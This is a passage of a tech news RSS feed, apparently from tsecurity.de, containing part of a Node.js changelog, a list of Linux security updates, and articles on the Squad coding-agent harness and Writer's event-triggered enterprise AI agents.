<li>[<a href="https://github.com/nodejs/node/commit/795d663ff4"><code>795d663ff4</code></a>] - <strong>tools</strong>: keep GN files when updating Merve (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62167" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62167/hovercard">#62167</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0b6fa913f1"><code>0b6fa913f1</code></a>] - <strong>tools</strong>: revert timezone update GHA workflow to ubuntu-latest (Richard Lau) <a href="https://github.com/nodejs/node/pull/62140" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62140/hovercard">#62140</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/840e098e99"><code>840e098e99</code></a>] - <strong>tools</strong>: improve error handling in test426 update script (Rich Trott) <a href="https://github.com/nodejs/node/pull/62121" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62121/hovercard">#62121</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bd34e53a8e"><code>bd34e53a8e</code></a>] - <strong>tools</strong>: bump the eslint group across 1 directory with 2 updates (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62092" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62092/hovercard">#62092</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/54dc797644"><code>54dc797644</code></a>] - <strong>tools</strong>: fix daily wpt workflow nighly release version lookup (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62076" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62076/hovercard">#62076</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/30476ddff7"><code>30476ddff7</code></a>] - <strong>tools</strong>: fix example in release proposal linter (Richard Lau) <a href="https://github.com/nodejs/node/pull/62074" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62074/hovercard">#62074</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5245900c05"><code>5245900c05</code></a>] - <strong>tools</strong>: bump minimatch from 3.1.3 to 3.1.5 in /tools/clang-format (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62013" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62013/hovercard">#62013</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/59ad1e4503"><code>59ad1e4503</code></a>] - <strong>tools</strong>: bump eslint to v10, babel to v8.0.0-rc.2 (Huáng Jùnliàng) <a href="https://github.com/nodejs/node/pull/61905" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61905/hovercard">#61905</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6f93c4b287"><code>6f93c4b287</code></a>] - <strong>tools</strong>: fix parsing of commit trailers in <code>lint-release-proposal</code> GHA (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62077" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62077/hovercard">#62077</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/de1bcfd54c"><code>de1bcfd54c</code></a>] - <strong>tools</strong>: bump minimatch from 3.1.2 to 3.1.3 in <code>/tools/clang-format</code> (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/61977" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61977/hovercard">#61977</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/492868a7aa"><code>492868a7aa</code></a>] - <strong>tools</strong>: fix permissions for merve update script (Richard Lau) <a href="https://github.com/nodejs/node/pull/62023" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62023/hovercard">#62023</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/774d0be1b3"><code>774d0be1b3</code></a>] - <strong>tools</strong>: revert tools GHA workflow to ubuntu-latest (Richard Lau) <a href="https://github.com/nodejs/node/pull/62024" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62024/hovercard">#62024</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d91a689d6f"><code>d91a689d6f</code></a>] - <strong>tools</strong>: bump minimatch from 3.1.2 to 3.1.3 in /tools/eslint (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/61976" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61976/hovercard">#61976</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/34b6305933"><code>34b6305933</code></a>] - <strong>tools</strong>: roll back to x86 runner on <code>scorecard.yml</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61944" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61944/hovercard">#61944</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/937cd97a63"><code>937cd97a63</code></a>] - <strong>tools</strong>: fix auto-start-ci (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61900" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61900/hovercard">#61900</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0958f9a9c7"><code>0958f9a9c7</code></a>] - <strong>tools</strong>: do not checkout repo in <code>auto-start-ci.yml</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61874" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61874/hovercard">#61874</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c7607b9208"><code>c7607b9208</code></a>] - <strong>tools</strong>: automate updates for test/fixtures/test426 (Rich Trott) <a href="https://github.com/nodejs/node/pull/60978" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60978/hovercard">#60978</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/00df3c1273"><code>00df3c1273</code></a>] - <strong>tools</strong>: bump unist-util-visit in /tools/doc in the doc group (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/61646" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61646/hovercard">#61646</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fe15b0d65e"><code>fe15b0d65e</code></a>] - <strong>tools</strong>: bump the eslint group in /tools/eslint with 6 updates (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/61628" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61628/hovercard">#61628</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bc38db51fc"><code>bc38db51fc</code></a>] - <strong>tools</strong>: fix small inconsistencies in JSON doc output (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61757" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61757/hovercard">#61757</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3e7010d47f"><code>3e7010d47f</code></a>] - <strong>tools</strong>: refloat 10 Node.js patches to cpplint.py (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/60901" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60901/hovercard">#60901</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/583e6c67ea"><code>583e6c67ea</code></a>] - <strong>tools</strong>: update cpplint to 2.0.2 (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/60901" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60901/hovercard">#60901</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4c12ab8abc"><code>4c12ab8abc</code></a>] - <strong>typings</strong>: rationalise TypedArray types (René) <a href="https://github.com/nodejs/node/pull/62174" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62174/hovercard">#62174</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8357ebfe54"><code>8357ebfe54</code></a>] - <strong>url</strong>: suppress warnings from url.format/url.resolve inside node_modules (René) <a href="https://github.com/nodejs/node/pull/62005" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62005/hovercard">#62005</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/aad7b3cfca"><code>aad7b3cfca</code></a>] - <strong>url</strong>: enable simdutf for ada (Yagiz Nizipli) <a href="https://github.com/nodejs/node/pull/61477" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61477/hovercard">#61477</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7b28fb9812"><code>7b28fb9812</code></a>] - <strong>util</strong>: allow color aliases in styleText (sangwook) <a href="https://github.com/nodejs/node/pull/62180" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62180/hovercard">#62180</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8bbe0138ce"><code>8bbe0138ce</code></a>] - <strong>util</strong>: add fast path to stripVTControlCharacters (Hiroki Osame) <a href="https://github.com/nodejs/node/pull/61833" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61833/hovercard">#61833</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f7a408d6f7"><code>f7a408d6f7</code></a>] - <strong>wasm</strong>: support js string constant esm import (Guy Bedford) <a href="https://github.com/nodejs/node/pull/62198" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62198/hovercard">#62198</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a0316d33b5"><code>a0316d33b5</code></a>] - <strong>watch</strong>: get flags from execArgv (Efe) <a href="https://github.com/nodejs/node/pull/61779" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61779/hovercard">#61779</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/eee96f7f5d"><code>eee96f7f5d</code></a>] - <strong>worker</strong>: heap profile optimizations (Ilyas Shabi) <a href="https://github.com/nodejs/node/pull/62201" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62201/hovercard">#62201</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/deeeb22e1a"><code>deeeb22e1a</code></a>] - <strong>worker</strong>: eliminate race condition in process.cwd() (giulioAZ) <a href="https://github.com/nodejs/node/pull/61664" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61664/hovercard">#61664</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b15ea64ed9"><code>b15ea64ed9</code></a>] - <strong>zlib</strong>: fix use-after-free when reset() is called during write (Matteo Collina) <a href="https://github.com/nodejs/node/pull/62325" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62325/hovercard">#62325</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a9c5bd29c9"><code>a9c5bd29c9</code></a>] - <strong>zlib</strong>: add support for brotli compression dictionary (Andy Weiss) <a href="https://github.com/nodejs/node/pull/61763" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61763/hovercard">#61763</a></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security updates for Monday]]></title>
<description><![CDATA[Security updates have been issued by AlmaLinux (kernel, libcap, libtiff, sudo, and thunderbird), Debian (dovecot, imagemagick, incus, kernel, libexif, linux-6.1, openjdk-25, pyasn1, python-aiohttp, and thunderbird), Fedora (chromium, firefox, GitPython, glibc, insight, krb5, nano, nss, openssh, o...]]></description>
<link>https://tsecurity.de/de/3486289/linux-tipps/security-updates-for-monday/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3486289/linux-tipps/security-updates-for-monday/</guid>
<pubDate>Mon, 04 May 2026 15:41:39 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security updates have been issued by <b>AlmaLinux</b> (kernel, libcap, libtiff, sudo, and thunderbird), <b>Debian</b> (dovecot, imagemagick, incus, kernel, libexif, linux-6.1, openjdk-25, pyasn1, python-aiohttp, and thunderbird), <b>Fedora</b> (chromium, firefox, GitPython, glibc, insight, krb5, nano, nss, openssh, openvpn, perl-CryptX, python3.14, rust-openssl, rust-openssl-sys, rust-sequoia-git, and xen), <b>Oracle</b> (dtrace, fence-agents, grafana-pcp, libcap, libtiff, sudo, and xorg-x11-server-Xwayland), <b>Red Hat</b> (buildah, fence-agents, firefox, java-11-openjdk with Extended Lifecycle Support, LibRaw, nodejs24, nodejs:24, openssh, python-pyasn1, resource-agents, thunderbird, tigervnc, xorg-x11-server, and xorg-x11-server-Xwayland), <b>Slackware</b> (mozilla), and <b>SUSE</b> (avahi, curl, freeipmi, freerdp, google-guest-agent, google-osconfig-agent, gvim, helm, himmelblau, java-1_8_0-openjdk, kernel, krb5-appl-clients, libsodium, libssh, libtiff-devel-32bit, ntfs-3g_ntfsprogs, openCryptoki, openexr, ovmf, PackageKit, python-jwcrypto, python-Mako, python-PyNaCl, python311, python311-pypdf, sed, trivy, and vim).]]></content:encoded>
</item>
<item>
<title><![CDATA[Harness teams of coding agents with Squad]]></title>
<description><![CDATA[At Kubecon Europe recently, Linux kernel maintainer Greg Kroah-Hartman said something that surprised me. After more than a year of AI-based pull requests and security reports that were worthless, living up to their nickname of “slop,” suddenly in the last month or so Kroah-Hartman discovered that...]]></description>
<link>https://tsecurity.de/de/3484631/ai-nachrichten/harness-teams-of-coding-agents-with-squad/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3484631/ai-nachrichten/harness-teams-of-coding-agents-with-squad/</guid>
<pubDate>Mon, 04 May 2026 03:47:31 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>At Kubecon Europe recently, Linux kernel maintainer Greg Kroah-Hartman said something that surprised me. After more than a year of AI-based pull requests and security reports that were worthless, living up to their nickname of “slop,” suddenly in the last month or so Kroah-Hartman discovered that those reports had become useful. At the time he didn’t know why, but guessed it was the result of improved tools and a deeper understanding of how to use them.</p>



<p>Since then, of course, <a href="https://www.infoworld.com/article/4151806/leak-reveals-anthropics-mythos-a-powerful-ai-model-aimed-at-cybersecurity-use-cases-2.html?utm=hybrid_search">we’ve learned about Anthropic’s Claude Mythos</a> and seen the resulting scramble across closed-source and open-source projects to patch the significant bugs and issues Mythos has unveiled. The fixes and updates needed by large projects can be managed by their equally large teams, with corporate input as well as volunteers from around the world. But how do smaller projects deal with the rise in reported critical vulnerabilities, when they’re usually run by one or two people, often working in their spare time?</p>



<p>It’s a crisis of developer productivity. We need code that’s fixed and we need it now, but we don’t have enough skilled developers to deliver those fixes in the limited time available.</p>



<h2 class="wp-block-heading">Can agents solve the problem?</h2>



<p>Agent harnesses have become increasingly powerful tools, providing frameworks for orchestrating and managing teams of agents. General purpose tools like <a href="https://www.infoworld.com/article/4153975/understanding-the-risks-of-openclaw.html">OpenClaw</a> have proven to be particularly popular, though they can be expensive to run, with operations using up a substantial number of tokens across models and services. However, like most general purpose AI applications based on <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html" data-type="link" data-id="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html">large language models</a> (LLMs), inaccuracies and hallucinations can affect outputs.</p>



<p>Even so, an approach like this that’s grounded both in a defined methodology and in a significant corpus of data could help us meet the sudden demand for increased developer productivity — using the structured nature of code and APIs as grounding and the combinations of skills that go into building a modern software development team and addressing the various aspects of the software development life cycle. </p>



<p>What’s needed is a way to take advantage of those tools to build on techniques like <a href="https://www.infoworld.com/article/4062524/spec-driven-ai-coding-with-githubs-spec-kit.html" data-type="link" data-id="https://www.infoworld.com/article/4062524/spec-driven-ai-coding-with-githubs-spec-kit.html">spec-driven development</a> and agent harnesses to provide developers with their own team of agents. Soon, agents may provide that force multiplier needed to keep ahead of AI red teams and at the same time help clear out large amount of technical debt.</p>



<h2 class="wp-block-heading">Here comes the Squad</h2>



<p>One interesting example of this approach is <a href="https://github.com/bradygaster/squad" data-type="link" data-id="https://github.com/bradygaster/squad">Squad</a>, an open-source project from <a href="https://www.linkedin.com/in/bradygaster/" data-type="link" data-id="https://www.linkedin.com/in/bradygaster/">Brady Gaster</a>, Principal PM Architect in the CoreAI Apps and Agents team at Microsoft. Squad builds an agent harness around GitHub Copilot, <a href="https://bradygaster.github.io/squad/">orchestrating a team of agents</a> to work on your code with you. Designed to be installed with a single CLI call, Squad creates agents to handle application development: a developer lead, a front-end developer, a back-end developer, and a test engineer. Other roles, like documentation, can also be managed by Squad.</p>



<p>The intent is to replicate the structure of a team building a web application, using natural language inputs to define the task, with the agent harness then coordinating Squad’s agents to build and test the necessary code. Gaster has made some interesting decisions as part of the tool’s architecture, such as requiring a separate agent to fix issues detected by another agent’s tests.</p>



<p>This approach is designed to prevent an agent from looping around the same set of statistically generated outputs. Instead, a new agent offers a new context window and a new set of seeds, allowing it to generate different solutions to the same inputs. Only then will Squad generate a pull request for human review. You the developer are still in the loop, but you’re the senior developer and architect to Squad’s team of junior engineers.</p>



<p>Another interesting architectural decision was to ignore the convention of having agent-to-agent chats as a tool for synchronizing decisions. Experience inside Microsoft has shown this approach to be fragile. As a result, Squad treats agents as a set of asynchronous distributed computing tasks, using external persistent storage to hold details of architectural and other decisions. The shared storage, based on a strict format that can be accessed by different generations of the Squad agents, ensures that decisions can be passed between projects and that context is preserved between sessions.</p>



<p>Having a defined source of context also ensures that when any member of your team clones your application repository, their Squad agents have access to the same “memory” and can start working as soon as the Squad CLI is loaded or launched from <a href="https://www.infoworld.com/article/2335960/what-is-visual-studio-code-microsofts-extensible-code-editor.html" data-type="link" data-id="https://www.infoworld.com/article/2335960/what-is-visual-studio-code-microsofts-extensible-code-editor.html">Visual Studio Code</a> or <a href="https://www.infoworld.com/article/3609013/github-copilot-everything-you-need-to-know.html" data-type="link" data-id="https://www.infoworld.com/article/3609013/github-copilot-everything-you-need-to-know.html">GitHub Copilot</a>. It’s an efficient approach that saves time and ensures that everyone on the project and using Squad has the same starting point.</p>



<h2 class="wp-block-heading">Getting started with Squad </h2>



<p>To <a href="https://bradygaster.github.io/squad/docs/get-started/five-minute-start/">get started with Squad</a>, you need to have an up-to-date <a href="https://www.infoworld.com/article/2254485/what-is-nodejs-javascript-runtime-explained.html">Node.js</a> installation on your development machine, along with a Git repository to store code and the Markdown documents used by Squad to store its context. With those in place, <a href="https://bradygaster.github.io/squad/docs/get-started/installation/">a single call to npm installs the Squad CLI</a>, ready for use.</p>



<p>You set up the Squad environment with its <code>init</code> command. You can run Squad from its CLI or from inside Visual Studio Code and GitHub Copilot, where it’s available as an agent. You can also use Squad from the GitHub Copilot CLI, which gives you an interactive view of how the various Squad agents work.</p>



<p><a href="https://bradygaster.github.io/squad/docs/reference/cli/">Squad’s CLI works well for basic projects</a> but using Squad as part of Copilot also gives access to additional resources, including <a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html" data-type="link" data-id="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">Model Context Protocol</a> (MCP) servers, which can help with more complex application developments as well as providing more useful grounding for specific Squad agents. However, there’s enough flexibility here to fit Squad into your existing toolchain, allowing you to make it part of your workflow, rather than vice versa.</p>



<p><a href="https://bradygaster.github.io/squad/docs/get-started/choosing-your-path/">There is a third way to use Squad</a>: working with the Squad SDK to build your own automation framework around the Squad tooling. Here you’ll use <a href="https://www.infoworld.com/article/2257305/what-is-typescript-strongly-typed-javascript.html" data-type="link" data-id="https://www.infoworld.com/article/2257305/what-is-typescript-strongly-typed-javascript.html">TypeScript</a> to manage agent creation, as well as writing your own routers and coordination services. The Squad SDK is a powerful tool that can be used as part of more formal development processes, for example integrating into a <a href="https://www.infoworld.com/article/2269266/what-is-cicd-continuous-integration-and-continuous-delivery-explained.html" data-type="link" data-id="https://www.infoworld.com/article/2269266/what-is-cicd-continuous-integration-and-continuous-delivery-explained.html">CI/CD</a> pipeline to help triage a high volume of pull requests. As all three ways of working with Squad use the same back end, they all share the same memories, so will respond to inputs in similar ways.</p>



<h2 class="wp-block-heading">Using Squad to write and fix code</h2>



<p>I used Squad from the Copilot CLI, building a basic Node Express application, with a web front end. What was perhaps most interesting about the process was that the Squad harness allowed its role-based agents to work in parallel: an agent building back-end code to support service APIs could run at the same time as an agent that was building a React-based user interface. The initial squad of agents that Squad generated included an architect as well as front-end and back-end developers.</p>



<p>Squad’s output was, at least in my test applications, clear and easy to understand, ready to be used as the basis for a more complex application. It was delivered quickly, using a test-driven approach to ensure that code performed as intended, with no obvious bugs. By taking a formal approach to software development, Squad can reduce risks and explain its actions to a human user. It can also be used to document the code it delivers, using another specialized agent to deliver documentation.</p>



<p>There’s plenty of human supervision in the process, though there’s also the option of handing over control of repetitive tasks to Squad. After some time, you can build up enough trust that you don’t need to approve every new file or directory. A squad works in the context of your Git repository, but if you want more security you can choose to run your squad inside a dev container, keeping it in an isolated environment.</p>



<h2 class="wp-block-heading">Here comes the artificial junior developer</h2>



<p>We’re still at the very beginning of the process of using AI-based tooling as part of our development workflows, but the available tools are starting to mature very quickly — both as models improve and as we learn how to build the long workflows needed to implement agent-based applications.</p>



<p>Squad’s approach to development mixes well-understood software development methodologies with the team structure necessary to deliver applications. For now, as Squad is alpha code, it’s something to experiment with in limited, well-understood use cases.</p>



<p>But as our understanding of how to use AI-powered development tools grows, it’s easy to see how AI coding might evolve to become something like Squad — a way of harnessing agents to behave like a pocket development team that keeps a human in the loop as development lead to a team of artificial junior developers. And maybe we’ll be able to keep up with Claude Mythos and its descendants.</p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Writer launches AI agents that can act without prompts, taking on Amazon, Microsoft and Salesforce]]></title>
<description><![CDATA[Writer, the enterprise AI agent platform backed by Salesforce Ventures, Adobe Ventures, and Insight Partners, today launched event-based triggers for its Writer Agent platform, enabling AI agents to autonomously detect business signals across Gmail, Gong, Google Calendar, Google Drive, Microsoft ...]]></description>
<link>https://tsecurity.de/de/3478291/it-nachrichten/writer-launches-ai-agents-that-can-act-without-prompts-taking-on-amazon-microsoft-and-salesforce/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3478291/it-nachrichten/writer-launches-ai-agents-that-can-act-without-prompts-taking-on-amazon-microsoft-and-salesforce/</guid>
<pubDate>Thu, 30 Apr 2026 18:17:10 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://writer.com/">Writer</a>, the enterprise AI agent platform backed by <a href="https://salesforceventures.com/">Salesforce Ventures</a>, <a href="https://www.adobe.com/ventures.html">Adobe Ventures</a>, and <a href="https://www.insightpartners.com/">Insight Partners</a>, today launched event-based triggers for its <a href="https://writer.com/product/writer-agent/">Writer Agent </a>platform, enabling AI agents to autonomously detect business signals across Gmail, Gong, Google Calendar, Google Drive, Microsoft SharePoint, and Slack — and execute complex multi-step workflows without any human initiating the process.</p><p>The release, which also includes a new <a href="https://business.adobe.com/products/experience-manager/sites/content-creation.html?s_iid=7015Y000003t125QAA&amp;s_cid=7015Y000003t8BwQAI&amp;sdid=Y2KRGPTN&amp;mv=search&amp;edtamo=true&amp;ef_id=Cj0KCQjw2MbPBhCSARIsAP3jP9wxPTHHkVmXRWwXDNGw0nfigkoRLgBP2K9wRUxQ2dcauaUbOQ2XqL0aAm_EEALw_wcB:G:s&amp;s_kwcid=AL!3085!3!805593600639!p!!g!!adobe%20experience%20manager!23756002971!197077065113&amp;gad_source=1&amp;gad_campaignid=23756002971&amp;gbraid=0AAAAADOODJTeeN1oEsutTpXaLQzxfDXNZ&amp;gclid=Cj0KCQjw2MbPBhCSARIsAP3jP9wxPTHHkVmXRWwXDNGw0nfigkoRLgBP2K9wRUxQ2dcauaUbOQ2XqL0aAm_EEALw_wcB">Adobe Experience Manager</a> connector and a suite of enhanced governance controls such as bring-your-own encryption keys and a <a href="https://www.datadoghq.com/">Datadog</a> observability plugin, represents Writer's most aggressive bet yet on fully autonomous enterprise AI. It arrives at a moment when <a href="https://aws.amazon.com/">AWS</a>, <a href="https://www.salesforce.com/">Salesforce</a>, and <a href="https://www.microsoft.com/en-us">Microsoft</a> are all racing to establish their own agentic platforms, and when the question of how much autonomy enterprises will actually hand to AI agents remains deeply unresolved.</p><p>"We are launching a series of event triggers that power and drive our playbooks to be more proactively called," Doris Jwo, Writer's VP of Product Management, told VentureBeat ahead of the announcement. "We're building on the ecosystem to actually for these connectors, such as SharePoint, Google Drive, Gong, Gmail, Google Calendar, actually listen for events happening in those platforms, so that the agent can practically know that something happened externally, and then, where relevant, call a certain playbook to be actually run live in real time, without any sort of human intervention required."</p><p>The shift from reactive to proactive AI agents marks a critical inflection point for enterprise software. Until now, most AI assistants — including Writer's own platform — required a human to initiate every interaction. A marketer had to open a chat window and ask for help. A salesperson had to prompt a research brief. The new event-based triggers flip that dynamic entirely: the system watches for business events and acts on its own.</p><h2><b>Why Writer decided humans were the weakest link in enterprise AI workflows</b></h2><p>Writer's push toward autonomous triggers stems from a practical observation its product team made as enterprise customers scaled their use of the platform's playbooks — the reusable, natural-language workflows that Writer introduced in November 2025 to let business users automate recurring tasks without writing code.</p><p>"What we found is, as playbooks continue to get integrated into enterprise workflows, it's actually humans that become the bottleneck in making sure that playbooks get triggered," Jwo said. "This really kind of solves that problem, to make sure that that sort of always-on, proactive, autonomous nature of that agent has continued to be built on."</p><p>The mechanics work like this: Writer's connectors, which already provided read and write access to third-party enterprise tools, now also listen for specific events — an email arriving in Gmail, a sales call completing in Gong, a new file landing in a Google Drive folder, a meeting starting or ending on Google Calendar, a message posted in Slack. When the system detects a qualifying event, it triggers a predefined playbook that executes a multi-step workflow autonomously.</p><p>Consider the use case Jwo described for marketing teams already running on Writer's platform. An email campaign workflow typically begins when a creative brief lands in a Google Drive folder. From there, multiple team members coordinate through Slack to assemble research, build assets, draft copy, review graphics, and package everything for a campaign management tool. Writer's event-based triggers collapse much of that chain: the moment a brief hits the designated folder, the system automatically fires a cascade of playbooks that assemble the research, generate the assets, and prepare deliverables for human review.</p><p>"All the playbooks that our customers have been building with us to build all those each individual pieces now just get automatically triggered the minute that initial brief kind of hits the Google Drive folder," Jwo said. "That's, I think, a very common workflow for most of these marketing sort of, like, content-heavy use cases, where it's multiple parties involved, it's a lot of assets coming together in a cascade."</p><h2><b>How Writer's AI reasoning engine separates it from simple automation tools like Zapier</b></h2><p>The comparison to <a href="https://zapier.com/">Zapier</a> — the popular automation tool that connects thousands of apps through if-this-then-that logic — is inevitable, and Jwo addressed it directly.</p><p>"It's more than just an LLM in the middle," she said. "It is an agent with reasoning and then access to a really powerful set of tools that includes connectors, that includes its own virtual sandbox, which enables it to do things like write and execute code on the fly and create those assets."</p><p>The distinction matters for understanding where Writer sits in an increasingly crowded landscape. Zapier and similar workflow automation tools require users to manually define rigid logic paths, specifying exact conditions and actions in a deterministic sequence. Writer's approach uses its <a href="https://venturebeat.com/ai/why-writers-palmyra-llm-is-the-little-ai-model-that-could-for-enterprises">Palmyra-powered reasoning engine</a> to process event context and make real-time execution decisions. Users describe their goals in natural language rather than dragging around boxes and defining conditional branches.</p><p>"It's not quite Zapier, because I think it requires a lot more — it's more rigid," Jwo said of traditional automation tools. "It requires more manual kind of setup to define the logic and the roles and the conditions for which a workflow has to be run." Writer's playbooks, by contrast, allow "a simple idea to turn into something that's actually executable and repeatable," she added, noting that builds take "hours and days, not weeks and months."</p><p>This natural-language accessibility has been central to Writer's strategy since it introduced the Agent platform and playbooks last November. The company has consistently positioned itself as a platform that puts power in the hands of business users — marketers, sales teams, operations leads — rather than requiring engineering resources to build and maintain AI workflows. Writer CEO May Habib made this case forcefully at Davos earlier this year, arguing that the leaders pulling ahead are those entering what she called "<a href="https://writer.com/blog/davos-takeaway-2026/">rebuild mode</a>" — stripping workflows down to outcomes and eliminating what she described as the "<a href="https://writer.com/blog/davos-takeaway-2026/">coordination tax</a>" of endless handoffs, status meetings, and alignment emails.</p><p>The event-based triggers extend that philosophy to its logical conclusion. If business users can build playbooks in natural language, and those playbooks can now fire automatically based on real-world business events, then the entire loop from signal to action can operate with minimal human involvement.</p><h2><b>Inside the governance controls Writer built to make autonomous AI agents safe for regulated enterprises</b></h2><p>That level of autonomy raises obvious concerns, and Writer appears to understand that governance is the linchpin of the entire strategy. The company paired its trigger launch with a substantial expansion of its administrative controls — a combination that suggests Writer views enterprise trust as its primary competitive weapon.</p><p>The new governance features include <a href="https://writer.com/blog/writer-connectors/">Connector Profiles</a>, which allow administrators to configure multiple versions of the same connector with different permissions per team; Writer Agent Profiles for deploying customized agent configurations with specific capability toggles and security settings; AI Studio Observability for auditable tracking of every agent interaction; a Datadog Logs Plugin that forwards every LLM request and response as structured log events; and bring-your-own encryption key support through AWS, Azure, or GCP key management services.</p><p>"A really important part of that, and a baseline, sort of foundation for everything that we roll out, is our observability and governance platform," Jwo told VentureBeat. "When connectors are set up, admins have full control over connector access, what is set up, who has access, which teams exactly are those access granted to, as well as individually, which exact tools do teams are able to call."</p><p>The observability story extends to the individual user level as well. Jwo described <a href="https://writer.com/product/writer-agent/">Writer Agent's</a> user experience as built around progressive disclosure — clean initial views that users can expand to inspect the full chain of reasoning behind any agent action. "You can drill down to the actual tool call level," she said. "You'd actually have the ability to look at specifically what web search results were pulled, what connector was called, what tool called, what succeeded, what failed, how did the agent divert its path to fulfill your goal."</p><p>This transparency architecture reflects a broader conviction Writer has articulated through what it calls "<a href="https://writer.com/blog/agentic-compact/">The Agentic Compact</a>" — a framework the company published for responsible AI that emphasizes foundational transparency, auditability, and human oversight. Dan Bikel, Writer's head of AI, has argued publicly that the industry's obsession with model scale has created what he calls a "transparency paradox," leaving businesses with powerful tools they cannot fully understand or control. Writer's governance-first approach to autonomous triggers represents the operational expression of that philosophy.</p><p>Writer also introduced its <a href="https://writer.com/blog/writer-supervise-press-release/">agent supervision suite</a> in December 2025, offering centralized monitoring, agent approval workflows, global guardrails, and integrations with external observability and security platforms like Datadog, Noma, and 